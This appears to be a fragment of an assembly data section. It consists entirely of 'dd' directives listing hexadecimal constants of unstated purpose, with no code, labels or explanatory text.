dd 3B9414B0h, 0E0E2893Dh, 62016B46h, 7C749D10h, 5785361Ch
dd 87F06190h, 60144A50h, 43242CE4h, 6A0238DCh, 8796A369h
dd 0AB09CB0h, 0C0AEAC53h, 0A68405C9h, 6204831Eh, 61C29A16h
dd 1351F4A0h, 29C6B0Eh, 0EA1DE5D4h, 0E474A890h, 22A46953h
dd 3F640972h, 94003315h, 7908E629h, 29C03490h, 2C64F95Eh
dd 1F5900ABh, 3FD16E8Bh, 1C94ECF6h, 0BFC35406h, 145F07E1h
dd 10E9C8DCh, 1CE44C02h, 8B63A422h, 0B12CCB68h, 51BB19B2h
dd 0CEBA991h, 0C16A5970h, 3C1C5063h, 5F1A0072h, 27E255A6h
dd 79787A81h, 0E320CE18h, 4B9E5311h, 0E7F44085h, 689FD4A0h
dd 0E1825612h, 2BC700C4h, 50A7F8F2h, 5469F290h, 0A5CE098h
dd 0E60A8B9Dh, 0B5F40E8h, 30A99863h, 170510AAh, 9C8288A3h
dd 69188E63h, 0E0B14724h, 7D9C924h, 0B0D2C815h, 55198435h
dd 4D2D48A0h, 0A08A444h, 6FB7CCADh, 0E72782C8h, 0E40A8540h
dd 59010C20h, 0C6AF60FDh, 0A0B49AF9h, 0E6908242h, 2C4CE040h
dd 811857F1h, 0EACF616Eh, 70AEB4AEh, 51E16800h, 0A16E2B6Dh
dd 82D867A8h, 0A5CC4899h, 40408A4Ah, 0DC98E24Ch, 3B7C40Bh
dd 551480F1h, 549B5912h, 651414BEh, 58DCB0C3h, 6B60C814h
dd 821338B0h, 480FE59h, 18DA130Ah, 40568131h, 8EFE6B5Ch
dd 62901B6Eh, 0FB6EF08h, 85ACD7C2h, 5858ECCAh, 8AB90204h
dd 0A88709A5h, 55F90150h, 0F0F72506h, 253BEC81h, 6A40824Bh
dd 0AB87659h, 416B162Ch, 46773A70h, 81686421h, 0ECA8187Dh
dd 0DB12F5F8h, 5442BFD6h, 204D7459h, 0AB7E52CCh, 346991C7h
dd 5240512Ch, 310FA86Eh, 3E66128h, 3F0610BCh, 1B719CCAh
dd 3DDB7AC1h, 6D135666h, 33A080EEh, 48DF1E59h, 0B1F0635Ch
dd 1210CEA1h, 4A538265h, 0BF2C6BCCh, 1E05C993h, 7C42A2Ch
dd 0CFDD441Fh, 0C65827E6h, 293519B8h, 781E415Bh, 24888C68h
dd 0C48C983h, 212976D8h, 0B0264825h, 0CC8DF80Ah, 2972F682h
dd 12C7A25h, 4144202Ah, 498DE7F3h, 80903930h, 8382C219h
dd 8508A880h, 6F02094Ch, 1C00C4E9h, 440BE25Ah, 0C648DC62h
dd 1660785Dh, 20283E5Ch
dd 0E9D565D0h, 1402D499h, 68E28212h, 0C469B3Ch, 79A5503Dh
dd 0AD4C1DF9h, 52401A04h, 0E4E26111h, 1400D2F2h, 0C247CDCEh
dd 59988318h, 0E10FC714h, 0B387DEF6h, 62BB6098h, 58EF7044h
dd 8E834AAh, 274351C8h, 4669E22Dh, 9EA01838h, 3E4414A1h
dd 83840893h, 0CC404F2h, 0F33D04F3h, 53DEF901h, 0E4ED6A19h
dd 10487D46h, 388109F4h, 9B70604Ah, 0AF241662h, 1C2003C5h
dd 590F195Bh, 0FF5434A1h, 1880F792h, 5A6E387h, 280C81F2h
dd 0A9B01C1Fh, 9A400720h, 0B0C88464h, 0AB00E020h, 0D031754Dh
dd 92FE020Eh, 0F8884EC4h, 0F029167Bh, 82E2D408h, 0CBA06061h
dd 495F40E8h, 5AED79C3h, 68210119h, 6DA0A729h, 78383442h
dd 4E40D0A8h, 35D6E1FBh, 0A69FE0DCh, 0B4AB58F0h, 0A3C79DC3h
dd 110353F1h, 0FE9B505Ah, 92311E06h, 108114ECh, 14A73B1Eh
dd 243E28CEh, 0B8C6A595h, 30726278h, 0DE2E5129h, 5516A704h
dd 58A28703h, 0B094B80Fh, 927224D5h, 5C2B7490h, 74715981h
dd 6A0E812h, 30521960h, 0EB6E3F09h, 0E714A199h, 96E06A71h
dd 0AC593E1Fh, 14A591E0h, 0A80098A1h, 0ED36D11Ah, 15C0BC6h
dd 777E5383h, 2824ECC0h, 1EF82204h, 12F0E1D6h, 9F204155h
dd 2834ABB7h, 4F8A0590h, 0C0813AFCh, 8428E146h, 37098058h
dd 50008BAAh, 49044DCBh, 54DCB604h, 189539D6h, 50EB580Eh
dd 0E413097Bh, 0C8211002h, 6834D728h, 12007C8h, 0DA70400Ah
dd 7CA36605h, 0DE1C8047h, 6E842258h, 0CD862F60h, 143CB0D1h
dd 0B4297BC9h, 4334C80Ah, 4008C2FFh, 8C1A0CD6h, 88A0DFE8h
dd 928331CFh, 96270440h, 986610B9h, 2060A20Dh, 9CDB6724h
dd 68B1059Eh, 1506A69h, 0E7096BC8h, 0F43701A1h, 3051024h
dd 0C649022h, 0F800558Bh, 0AA5C66F5h, 38DBC451h, 102DD6B4h
dd 0A19FD002h, 1084E213h, 5E409D9Eh, 0DE13347Fh, 24851208h
dd 0A5C08028h, 0B8B638B9h, 6765348Bh, 67750248h, 0FCE05D1Ah
dd 408843A5h, 5F10C405h, 84544952h, 195E8F74h, 434620AEh
dd 20186008h, 289961DCh, 9C120764h, 922B72DEh, 0E841D211h
dd 0D47205h, 5BC2A016h, 249FFEDCh, 0B074B80Bh, 0F8776939h
dd 0CD72F114h, 8092000Ch, 0C29E5950h, 0A3822D66h, 39E40080h
dd 8AF85D22h, 10E84548h, 871804D5h, 0F1DEF9E1h, 0B09886E8h
dd 389D9031h, 29807F82h, 4DCF225Eh, 410AAD92h, 5CD2D161h
dd 0B0EE207h, 9A4C2329h, 4785CFA6h, 0D800807h, 0DC97D684h
dd 1010BA86h, 1E1B56B7h, 830CE472h, 0CC7921A5h, 0F5412910h
dd 6313960Fh, 52B645A9h, 0F0EE3C92h, 0A77D8h, 0D2CE4059h
dd 0E7F69B6Ah, 6A07250h, 1C4A62EAh, 0E40E441h, 6900BDCBh
dd 9F0739E3h, 0DE509D26h, 0C355D461h, 977E6462h, 0B154D578h
dd 0A1A0C8A0h, 4E012687h, 0F42EBCEh, 0DC64A4C1h, 2A9702B4h
dd 6EDFB186h, 80004851h, 5F245418h, 0A8B0CDBh, 89837FCh
dd 485264AAh, 53A40501h, 70DEF3EBh, 4088C8AEh, 0B4093DCh
dd 0A03AE145h, 150A0EA4h, 0E005D49Ah, 68114185h, 9430782Dh
dd 20242F7Ah, 48227827h, 9F537582h, 0BB08841Ah, 0B891B409h
dd 0AD01E2E5h, 10382FD6h, 0C8125Ah, 6F55E350h, 1B481FE2h
dd 0A01C2560h, 6192E974h, 0DEC04481h, 0F9DD800Eh, 833C64BCh
dd 0BAA5F890h, 0AC074867h, 3708AC49h, 342C790Dh, 0DC561101h
dd 29039F26h, 9FD87946h, 4D008010h, 614B6509h, 0DD30CEF3h
dd 0DCEB30A1h, 17410325h, 0C678AA0h, 0ED1C1FB1h, 9EAC2C63h
dd 8554D702h, 40405468h, 9455DDA1h, 1602130Ch, 288211DEh
dd 7C38F4B5h, 0CB690B0Bh, 2C919F51h, 631C43A0h, 87389CF0h
dd 50731E24h, 0A8D7293Ah, 28A1371Fh, 9D38154Ch, 0E7A08C10h
dd 9E29D89Ah, 8288E8ABh, 0ED79C253h, 202D9B19h, 61502724h
dd 256F5F64h, 0ABFAE044h, 0A4CEDF12h, 0AF5D440h, 4A5147B6h
dd 751CC8DCh, 0D9823B37h, 805E3545h, 3A513024h, 7EA50EEEh
dd 6448B0B5h, 845EAF4Bh, 0FCC7A10Fh, 0ECD90B00h, 28CAC187h
dd 49B01F42h, 0BA849C19h, 83C47BF3h, 298490A9h, 3C3E2DE6h
dd 4999006Ch, 0C0BE5F51h, 8A190039h, 7CD321C7h, 0EE00B4CCh
dd 0BC504A03h, 603BB1C5h, 0CD1105Fh, 1A0D5AB9h, 4022A2D4h
dd 1E17F7F0h, 4988372h, 0C09705EAh, 4647682Bh, 82A6E907h
dd 49C06948h, 77733Bh, 6E074C21h, 41D539C1h, 0F484B6Fh
dd 24E900BFh, 749AEh, 50FE903Dh, 6731CEBDh, 0E8B1B300h
dd 0EAB09D64h, 1F22F01Bh, 2775DC7h, 4A047339h, 5AB0AB01h
dd 4180C180h, 54AE4ECDh, 4F0E8600h, 8A705FCFh, 0B68507A5h
dd 309E3946h, 0E331576Ah, 0E14E8800h, 80D5DE52h, 6D5E07FBh
dd 8EEC1418h, 9506FD8Fh, 63231136h, 201B18FCh, 0C3803DDDh
dd 1E1D797Eh, 0E59C6FEh, 6A036A9h, 67FCC4EAh, 283AFA30h
dd 0E01809A7h, 0C0A7F98h, 261BCBF8h, 0E2180730h, 0D46197C2h
dd 0A44B1C32h, 26306037h, 17A9083Ch, 60EA63CFh, 87CDDA3h
dd 3B23C119h, 2D134829h, 707A4481h, 2303EA5Fh, 0B0F3BCA4h
dd 77210049h, 3D839C46h, 57005126h, 9760C47Bh, 0E4F5CB0Ah
dd 0EB0900D1h, 6B805CA9h, 9301E744h, 0A1DCAED4h, 70802D91h
dd 0A0224508h, 0E0DEFE38h, 0A219B0Fh, 0EE0F1020h, 1324011Fh
dd 6ED01830h, 0C8C3009h, 0DB9EFA11h, 7F0033E2h, 114819A3h
dd 0F031A01Ch, 370A441Bh, 501E3278h, 4A0F4916h, 0F49A6FB5h
dd 48C078D8h, 6C2F43DEh, 8C9E0679h, 1803DAD3h, 1099481Eh
dd 5F284618h, 17A78B7h, 0BE2E5B17h, 0D4951909h, 0D21874D1h
dd 14827ECh, 3AC7005Fh, 0F95B1523h, 4203D8AFh, 12E59E2Eh
dd 4963A896h, 6E04183Dh, 3FE918BEh, 0CE19078Eh, 20A834C2h
dd 94930A2Fh, 416A601Fh, 0E8D77B06h, 1A8C2180h, 3830200h
dd 0AE9981h, 71FDBB35h, 0A0A8480Dh, 83C1DE60h, 0EBF84C7h
dd 0DF9858E1h, 12914900h, 1006FE18h, 4ACC2BDBh, 27810070h
dd 9764B22Ah, 0C90014F4h, 48FE2C9Dh, 3007FC98h, 0AA789461h
dd 1C0F72F2h, 0C017895Bh, 14EE1333h, 56C71862h, 4BDB40B3h
dd 2A4F5B0Fh, 0F11E200Ah, 96CB63h, 0C63984CDh, 0A6900D7Eh
dd 0F48548h, 8E95D64Dh, 6DFCFA3h, 8C0B1158h, 180080A8h
dd 0A0E01238h, 54D519h, 0DA994BFDh, 261EB2D1h, 975F0201h
dd 0CBE82CCDh, 2EB35883h, 180004C9h, 2C692B7h, 0C1BC052Dh
dd 0B88F834Eh, 2E884063h, 9FF565CEh, 0D30090D8h, 6A3DC955h
dd 477F0AD7h, 17A622DAh, 1FD30015h, 627485ABh, 5F4880D8h
dd 0D6DF40DEh, 0F916AF20h, 0CCDD40E4h, 6AD84C18h, 0EC3F9700h
dd 0F6ED1EDEh, 6F84A8CAh, 289188CEh, 4FCC7500h, 9479D7D6h
dd 980A01E1h, 5ACBAD55h, 75FDD4E2h, 72747CA8h, 42496044h
dd 75951FC9h, 0EC86421h, 84DFA88Bh, 193651Ch, 4820721Dh
dd 885DC00Bh, 60119E14h, 0CB18F058h, 3512AF95h, 2400BA44h
dd 2823ED48h, 12179016h, 0FFD5890h, 8229DFACh, 54B8218Ch
dd 3B5A5012h, 45653C00h, 1EC5EEh, 9747E73Eh, 0E329FC2Ch
dd 20915F29h, 3ACEDBC1h, 5D75DD0Ch, 87BD7400h, 0BFDF8561h
dd 22F0C1DAh, 203A4D86h, 8B0EE1B8h, 2983F9BCh, 84500A4Bh
dd 2081B609h, 25281898h, 0DFED00EFh, 0C70E04F9h, 0D26E6E9h
dd 69D4029h, 5EB8EFC0h, 617F02ABh, 24251934h, 0F80AD401h
dd 1F2E7003h, 8092773Bh, 5039BAC4h, 6A6C9848h, 3AC68D5h
dd 491C77E1h, 0F1781003h, 0C85E6A55h, 69972438h, 44120807h
dd 785655C0h, 9E41600h
dd 0BE3FA7B2h, 8D1700F1h, 39E5F4Fh, 3534BAD3h, 6484E828h
dd 78FA3404h, 6F55F030h, 36F45E10h, 5780E4C8h, 230D5618h
dd 0D7B8015Eh, 0C67EE9C1h, 26F1CBAAh, 0FAF42091h, 0E2C47450h
dd 9300CB0h, 1510712Fh, 0F93E3886h, 89FF3D06h, 1A4D084Ah
dd 0D6D00CCh, 999449A5h, 692671E0h, 18024876h, 204023C3h
dd 0E001CE8h, 0D8958017h, 0C110FDB7h, 2EB8BB20h, 75F4400Ah
dd 0C872437Fh, 0E5FF53Ch, 0A03F1F24h, 0E71A3613h, 0B0A40399h
dd 34018E5h, 281F82D8h, 9D620C03h, 0B06D7463h, 7BF5C3h
dd 4C192AB3h, 42D15D6Fh, 7DD20801h, 0C03458FBh, 5720DCh
dd 0D57487E3h, 61C2FDDAh, 13DEBC09h, 6D3A80BDh, 0E06B91h
dd 0DF2BF9C3h, 294445D9h, 3750C500h, 7A80AB1Eh, 406B00EAh
dd 0F946181Fh, 29C8365Fh, 59518015h, 0A04FCBFFh, 50DA6330h
dd 0AD7A19h, 0A2886BE6h, 6898BE53h, 9701200h, 8BCACC42h
dd 7B9700DDh, 0D2439A5Bh, 360301EBh, 5CC52EF2h, 0EC6D8878h
dd 0DD17002Ch, 1FF39160h, 2A135FB7h, 0E90034DBh, 4AE5AB19h
dd 1B5A0324h, 0BE9251F4h, 0B4D66BF8h, 8ED0E40Fh, 9A9F4081h
dd 3BD8439h, 0F8AFCCA2h, 0BCF8BB60h, 0DA07F6D8h, 0A61E5668h
dd 0BD1FD5F0h, 0ACFC07CBh, 819732h, 64D7B9D6h, 5F35A31Dh
dd 0C36C9CC0h, 56B5BC4h, 0DF8A779Fh, 6EE580E4h, 0E700FE92h
dd 0A953657Ah, 0F83E97F5h, 85EB01CAh, 5CFA4371h, 57B5E498h
dd 0F8D8C800h, 0D7CD3883h, 0DE7B00F6h, 0A3AF6E85h, 8011AD5h
dd 0C7ACBB40h, 8F6095B3h, 0C0A607D3h, 0D03A2880h, 43FE980Fh
dd 6D45FB14h, 2EA824CDh, 4A6BF000h, 622A15h, 9D403C55h
dd 5C5E3A54h, 3502B1EEh, 750DE2AAh, 8DD65DC2h, 673ACB0Eh
dd 0DB707C15h, 1AD337h, 19A4F849h, 43FBDD1Bh, 36F5DE02h
dd 4046DAE0h, 59D0A5h, 0D411EF4Eh, 0B79261C3h, 0EEFAF700h
dd 6A5247EAh, 30840064h, 0DED2FD91h, 0B7070D0Bh, 0DA7C2C0Eh
dd 0FB2E7470h, 1FBE00BCh, 33E84349h, 0CD00DF41h, 0A7EE6809h
dd 64B4B7h, 0F19B5DCCh, 0FEB229BDh, 6CEC4250h, 0D3F8A377h
dd 0A654CC00h, 90C71703h, 7B670070h, 26486528h, 713BFFD6h
dd 2A5404D1h, 3490FEBBh, 50145A99h, 1406FAA8h, 0F0483A24h
dd 0A0784300h, 72F8CCE2h, 7DF948h, 82BB901h, 7690C73h
dd 6AB8538Ch, 70ED303Fh, 0F800ADF7h, 606279BFh, 252D3Bh
dd 30C67D9Bh, 4C78F68Bh, 19C4D900h, 0DBB55876h, 440D00D6h
dd 0ADD826FFh, 0DE037773h, 600E302Eh, 0DC8885Dh, 7DE306F6h
dd 41922CC2h, 0D60C14FAh, 104DF417h, 51E006Fh, 5626447Dh
dd 9F01DD24h, 7A5976DAh, 0F420A0FFh, 72B03A2h, 4E99D344h
dd 0C8D4F0E8h, 0F3C69D00h, 21B31669h, 0CF4C005Fh, 591C258Eh
dd 0B54815CEh, 7BAB4030h, 9F58BE38h, 1287EE26h, 0C2804967h
dd 0EC18C23h, 62324366h, 0F36612Eh, 85A0D2B9h, 94AED8FBh
dd 0EC3E0B03h, 0E813DA52h, 6D6B83h, 616EAA34h, 9BD958DDh
dd 3F7F0198h, 29E83E79h, 80ED887Ch, 0DEC1312Eh, 13D6011Bh
dd 36236FAh, 0F9522B5Ch, 0B8608CD2h, 753AEE77h, 0C80500EDh
dd 6390CF36h, 547F03C4h, 8D87D6Bh, 2066C799h, 640070F4h
dd 1FF91C30h, 28F7D5EBh, 2094C583h, 0DD002ACDh, 6D64A35Eh
dd 3DD6FCh, 24C8D5C6h, 0E5CD6E26h, 0BA74C70Ah, 0EA0E984Fh
dd 1563E77Bh, 69E886E0h, 0FBD41F82h, 4776C05Bh, 0EEEA34ADh
dd 1CC5600Fh, 71AA0094h, 0F6653B4h, 8F1B2BBFh, 0DD5C83A0h
dd 2F2469F5h, 0F11C6C4Ah, 0DB39AA80h, 139C0AF7h, 23C9D2h
dd 90C2EBF0h, 0D4FD880Fh, 9B0E96C3h, 616E9DC7h, 73EA9F30h
dd 8310A02Bh, 55AB3E02h, 0F58B648Eh, 1D2D5AC0h, 7021D301h
dd 6D04379Ch, 0DC20DFE9h, 8B130066h, 0E9CB8246h, 0F0FD1DCh
dd 60153BACh, 9E3EC08h, 0C09C3D59h, 4834BE80h, 92C66F12h
dd 4F0D1900h, 0F8D7504Dh, 0C2350525h, 0C08E540Ah, 0CFA9CC74h
dd 1A0058B8h, 551EE94Bh, 21D4AF8h, 12DC330Ah, 9C40C0D0h
dd 0E7FF583h, 74156C00h, 0B4CA1C99h, 6F7494h, 81BECF40h
dd 0A1CE0AB9h, 7EE0FD03h, 0B0E5E841h, 9D7CD7h, 53F63C36h
dd 4FB4385Fh, 0BEFFAD00h, 8C7E616Ch, 1FC30037h, 298248DBh
dd 523992A1h, 77BD02F5h, 0E001D062h, 480E751Eh, 0A400149Ah
dd 0C98714A7h, 0CA0393F4h, 1990ADCh, 0AB9FFCh, 3466DB6Fh
dd 48EB001Dh, 0C3DEBE03h, 53003345h, 907C1F3Fh, 5D15E3h
dd 64F11430h, 994C0D61h, 3580B500h, 9DF2327Fh, 0D5B3000Bh
dd 3D8D7D22h, 303CEF20h, 0CD49006Dh, 8AF31BEh, 0C9E2006Eh
dd 0AB7D4518h, 693CDA5Fh, 0D69C808Eh, 8C4AE64Fh, 0CEFE0FD8h
dd 0A440E580h, 8919C779h, 3CA23500h, 8B177182h, 0EE3F01B5h
dd 0AC934EFCh, 0DE103486h, 23478E00h, 0D1A75EDCh, 0E7B0A2h
dd 0C57CE316h, 0D522E4BAh, 9290CA07h, 0F7A0EC4Ah, 38D87B19h
dd 819F74B0h, 14068053h, 0F3635A86h, 88A895E6h, 343A5BE0h
dd 5F9C0464h, 0B0C747D5h, 0D944C8C1h, 69800BD3h, 9D0027D6h
dd 3BCD25A1h, 47F85AB0h, 2476A978h, 332670F9h, 49AFA0Fh
dd 0F2C8E039h, 7C1A8B20h, 84D4007Ah, 58C09D79h, 9E51FDFCh
dd 4FC4ECD1h, 0CD3B44F4h, 60875CECh, 24268159h, 467F03DAh
dd 1CB2E72Ah, 5C4CB03Ch, 44D000C5h, 4018067h, 3D1D00E9h
dd 0D7C7C2C9h, 47E2E103h, 0A3611501h, 736B8613h, 4814B880h
dd 0DAF2C7C0h, 0D3B5D9C0h, 323E47h, 4145EE7Fh, 7037513Dh
dd 1E748C3Dh, 7D4042A8h, 65609233h, 80E0002Bh, 0A525669Ch
dd 62001128h, 696B2D7Ch, 78179AEh, 0A85C1E8Dh, 900B50F3h
dd 542ED634h, 2D034BABh, 0E18BF9B1h, 0B2F5F602h, 63E4C02Bh
dd 140339CCh, 6EF04D1Ch, 0A02D9B66h, 62AE2Fh, 403E3A0Fh
dd 0ADD1E60Eh, 0BA00267Eh, 22E75B84h, 0EF06C7h, 0B14B8E38h
dd 15C512DBh, 0CAE9E600h, 0E48CB00Eh, 2C110740h, 19949C9Eh
dd 0CE75AD80h, 46002737h, 7B71CC31h, 7DABBD6h, 640C3F4h
dd 849F9044h, 0BD60476Ah, 1AE6AA18h, 0B5F20BF3h, 2D03F650h
dd 38A64A18h, 6A7EB600h, 76FDF325h, 4DFA00E4h, 0B0126B3Ch
dd 417C724Ah, 0A8170E00h, 0DD83B5F0h, 1E387833h, 3A00305h
dd 7B5A1589h, 2B362488h, 0FF584C60h, 7058C768h, 0EAA60099h
dd 6CFEA118h, 740CDDC2h, 28E516F4h, 32B90F09h, 7E81D0BEh
dd 0BADB93A4h, 1C354C99h, 683098A7h, 727E8Fh, 0BCFD057Ah
dd 8AAE93CAh, 20A07660h, 18364C68h, 40F5E434h, 0DD60691Ch
dd 6D568F71h, 0BEF702B5h, 0AFBAB955h, 8236B800h, 1E047E86h
dd 0AAA7C54h, 794BD73h, 0A0A3DC18h, 69804264h, 234BC218h
dd 84083090h, 0DDE65C10h, 24B68A9Dh, 1D2203A4h, 0C8180570h
dd 0B9503FCBh, 749C53FAh, 380830C4h, 0C350E95h, 0B90BCE17h
dd 0A2EF5580h, 6F079A98h, 15AB838Ah, 0D82393B3h, 1D64FBE5h
dd 79F9CA34h, 35732D00h, 4E323B54h, 2CD3410Eh, 81B42026h
dd 61F8C05h, 8FE3234Dh, 0A18487Fh, 1A5099D4h, 18650064h
dd 8CF1AAE7h, 61077022h, 2E971D5Bh, 0CFE441CEh, 0B4DC32EFh
dd 3D6A39DBh, 7DB15301h, 81A915E8h, 0E4234199h, 96D0EFF9h
dd 935C0674h, 218B6D62h, 0F73B271Ch, 0C1EB6801h, 33C0E805h
dd 2F7F0Ah, 0BB117A9Ch, 0BDA7E75Ah, 0EF927007h, 0EC37E8AAh
dd 59404Ch, 343B5A4Bh, 0FD19104Eh, 64D88A06h, 620A46Fh
dd 667F43EFh, 5A00D8E1h, 46BCE87Eh, 0A36BD1h, 6A9FB772h
dd 0E1CCE083h, 869BC739h
dd 69FC399Dh, 0C66D0141h, 321D6754h, 257AD8D6h, 6B0CFCFCh
dd 58D270AEh, 0EE534886h, 2EFF400h, 0CE96948Ch, 56FF8D07h
dd 52718819h, 0F8D8A658h, 942500ACh, 29229F66h, 98156FF7h
dd 78889C8Ah, 0D333D500h, 74191F0Ch, 67DF00DDh, 5586A13Ch
dd 260A1815h, 0B679BF02h, 0B26BE40Fh, 0CBC9DA00h, 0F85FE839h
dd 0A84E0027h, 0FC028556h, 0B202BC7Ch, 29766745h, 0A488C01Fh
dd 0FADF41Ch, 6A5FA01Bh, 17A19E40h, 560087FDh, 0F3EBDA75h
dd 1EC7981Dh, 0BBF16ADh, 548A8A7Bh, 0D4A50023h, 58EE9B18h
dd 0DD714E00h, 0B0A3DE88h, 53CD2599h, 603EE78h, 0D91012ADh
dd 4F2188AEh, 0C6810BB5h, 2303700Eh, 24B8962Bh, 9007C02h
dd 5EF7EABAh, 0FAA1Dh, 9ADD501Ch, 0E6C83280h, 0B4AB1000h
dd 0E97D480Ah, 0AD121DF7h, 470C4138h, 0CC800DE4h, 0ED00AB9Ah
dd 93A00A30h, 32BA1E2h, 0F442B6BEh, 64A8410Bh, 17001C9Dh
dd 1DC0A0E1h, 0A6C144h, 356829B7h, 1A789B5Fh, 3F0861C0h
dd 82FEA0h, 469322BEh, 87A355C4h, 24F20CECh, 0FA367400h
dd 0E6FCF6AAh, 0E57C2Fh, 0E1EBD06Eh, 245628CFh, 36A3739h
dd 0B62E3842h, 7FE3B834h, 2182011Bh, 413AE264h, 3172CC58h
dd 32F0B5h, 2BB6794Bh, 93985D60h, 8A36921Fh, 0C30C0A00h
dd 30DCE6h, 0FBA2AD55h, 1BC1197h, 59126400h, 0D1F1F692h
dd 0B5700E51h, 0AAA04B52h, 7DCC8FABh, 0ED1CE290h, 584091B2h
dd 33EED463h, 48A16F39h, 27A9AE1h, 0B1D8DF82h, 13E66A4Dh
dd 1F3C38h, 72596DFh, 1EBBCDB0h, 82C4F2E8h, 0E9716B6Dh
dd 0AF19E40h, 0A45C9800h, 5D39110Eh, 0B41A0067h, 26CA6E73h
dd 0A3008D50h, 5C7CB091h, 9E3F64h, 466079AAh, 0E877981Ah
dd 0FDEC061Fh, 80C6EE80h, 1564109h, 57AB6E26h, 0D366E863h
dd 0A2EDBD80h, 4203CA00h, 0D3346D24h, 0FA9A1FA1h, 0F24F40D2h
dd 99E31491h, 500527Eh, 0B67CE9Bh, 7F255D5Ch, 68A8A038h
dd 78D8C015h, 0FC499EC6h, 0F7E41B1Fh, 0BC90D9C3h, 9652E094h
dd 0CCC90027h, 0C5BB0970h, 1000A9A1h, 4ACBDD1Eh, 229C41h
dd 6C31F4CFh, 0C297F88Dh, 4E57AD00h, 0D08605FAh, 0EFFF007Dh
dd 74CAFE10h, 0B5027241h, 44C1025Ah, 0B0FC4031h, 29A500ECh
dd 0D7FC2F20h, 3500534Eh, 0ED340139h, 0E128D25h, 7809BFD1h
dd 686696A6h, 80CA5C38h, 0D294EACFh, 0B0D82ED5h, 83FE5CFEh
dd 1DB36607h, 0C5D70058h, 0D2F818A5h, 0EC002B71h, 0EA6D3336h
dd 4B97072h, 0F35D490Dh, 0DE3491A9h, 62E8E80Ah, 8F98D100h
dd 0F2179A5Ch, 0D67629h, 53AB6863h, 2ACFA866h, 38914C07h
dd 1CF343A6h, 6DC5C8C7h, 98C60718h, 90E67EADh, 0A2267889h
dd 60F8DE00h, 0C0BF734Fh, 93370090h, 0FBEA10D4h, 300AD51h
dd 612A66E4h, 4B6016h, 0D6019828h, 8AA83F9Fh, 0EAD9BD00h
dd 16F0DF69h, 7D510033h, 204AB871h, 8430F1B5h, 15C9297Fh
dd 0AE410F6Eh, 3CA01EC0h, 9303A92Ah, 0DE06F307h, 84908999h
dd 549397Bh, 0E63B2ED7h, 3CD2C071h, 4830A76Fh, 0D3F76E05h
dd 501D003Fh, 0CC969953h, 2301A2EBh, 0FDF6D1FEh, 0DCEC6A0Dh
dd 48A3001Ch, 0A2C1CB97h, 57073074h, 8417A72Dh, 0B044E103h
dd 2CC2A960h, 0ECF09Bh, 19155BD2h, 8700BBD5h, 1BD1AFFEh
dd 7E08894h, 4E2F7E84h, 83EC0079h, 0CA00CD57h, 0DBD9DCA1h
dd 1D4A63B8h, 8045BD8Ch, 9942A5C7h, 0F2003531h, 0B06FA005h
dd 0E6F6BAh, 945AC51Eh, 8B8FE887h, 0C7D6A219h, 29D85048h
dd 2A6502B4h, 880C1B64h, 271E4640h, 0FEEBF506h, 283C16h
dd 8D547BEFh, 91C87E6Dh, 0F5F08500h, 9B630ABDh, 0CD170084h
dd 563BEB35h, 0FF00EE96h, 47AC0E2Ah, 0B0221E39h, 3C0F14F4h
dd 2130D013h, 53D5410h, 94AA3B1Ch, 9D463E05h, 6DC31CC0h
dd 938E03F1h, 6C2B1CA8h, 0EE01F3E1h, 0BA43C40h, 43844C00h
dd 6A8590FCh, 25CD0C73h, 75206C82h, 34EF711Eh, 0A3582300h
dd 0D8D781h, 0C4F50DA4h, 0F4218CAFh, 2A98E00h, 0A152AC8Ah
dd 0DDB7001Eh, 0CF1678DCh, 0E20F0951h, 0E07D608Ch, 3AA2970Eh
dd 6C070048h, 0A389B26Eh, 0CC38DA29h, 28220701h, 7FB78DACh
dd 656B8800h, 77FF018Ch, 0CB2A870Ch, 8363603Dh, 0D2F7F101h
dd 43AECCE2h, 0D6E130h, 8B165556h, 649194FAh, 880025FCh
dd 7FCBC085h, 5AF586h, 0A54669E3h, 8CF94853h, 67722401h
dd 913E37E2h, 0E703D4h, 9BAD9C07h, 5E5AE8B7h, 0BE00EF7Bh
dd 0CF13AAB0h, 0AB9E3Bh, 3545423Ah, 2AEF61DAh, 7D1ED800h
dd 0A643F933h, 4AFA73h, 89692410h, 0DFE67CE2h, 0ED5BD51Fh
dd 1E0CF1CEh, 39207A00h, 0E6D3FC40h, 0D6AF1F24h, 9F92C0F8h
dd 0C416A07h, 352F0600h, 742D4CF6h, 37EF00CEh, 8C990A4Bh
dd 3000B72Ah, 62C74740h, 908D56h, 0BD867D2Eh, 0D212FF9Fh
dd 50289860h, 7705837Fh, 0FE6C0317h, 9C567C31h, 62A65E90h
dd 2ACBEE00h, 37AF833h, 0B74D0064h, 73F62716h, 0F4177FC8h
dd 41001881h, 0B31CA77Dh, 0F172CFh, 157682F7h, 517A94B2h
dd 0C43CBF00h, 5981F6CEh, 0A8044B5Bh, 0AAC30034h, 78AE3127h
dd 0AF5600EEh, 0FE49F7B7h, 96044138h, 84744C68h, 4590E481h
dd 58F47DD1h, 0B8AE0067h, 1DD4E916h, 490053E3h, 0F983C9ABh
dd 289EFBh, 9B21650Ch, 2089D88Fh, 5F3D3800h, 0EBCEE566h
dd 0F5D8EFD6h, 8C5C1857h, 80F36199h, 78788848h, 0FB1FA40Fh
dd 0F16C0055h, 0C1746282h, 0F9660418h, 1A2DD08Bh, 31891B33h
dd 2401EDECh, 0D3A8C218h, 10080FC3h, 5EE0DAA1h, 0D5EA82F9h
dd 0D785C41Fh, 0A8F8D303h, 0A66DB9CBh, 460330h, 418A28Ch
dd 0F123B70Dh, 0FB1F21EAh, 0F9830A86h, 48D486Fh, 7DA8FD70h
dd 2D080B7h, 0E41AA9A2h, 1628A142h, 8D4C4250h, 3D8380Ah
dd 50EC28CFh, 2F040010h, 0FC810D89h, 0E0F28D1h, 0A0327BBFh
dd 9DDBC26Ah, 8A8B0097h, 31761984h, 300078ACh, 25C1EA72h
dd 0D9EEB6h, 0CE8ABCB9h, 43DEC81Fh, 266D9800h, 0B89B6AAFh
dd 0D267046Eh, 0C00B0531h, 0A27DC8E0h, 532E7C00h, 177216C1h
dd 0ED7324A3h, 0B24D00BFh, 0DC2DCA80h, 570EE701h, 9CA96497h
dd 0BF63B080h, 76F64692h, 68312401h, 0B9E67B58h, 48D73B70h
dd 5091026h, 4780F1ACh, 0FAD23F2Ah, 6E3D9716h, 0FF192600h
dd 48DB8D7h, 594E082h, 3040C73Ah, 0AE7033A0h, 8C3F3675h
dd 1FA88059h, 0A29A789Eh, 0D2E4B7h, 0B634456h, 18EAD703h
dd 0DAC3470Bh, 0F5A380D4h, 5A3095h, 5DBE49BFh, 6857F280h
dd 0E61F4800h, 0DC926661h, 0AF0100C0h, 88E7FF2Bh, 5F00F8E1h
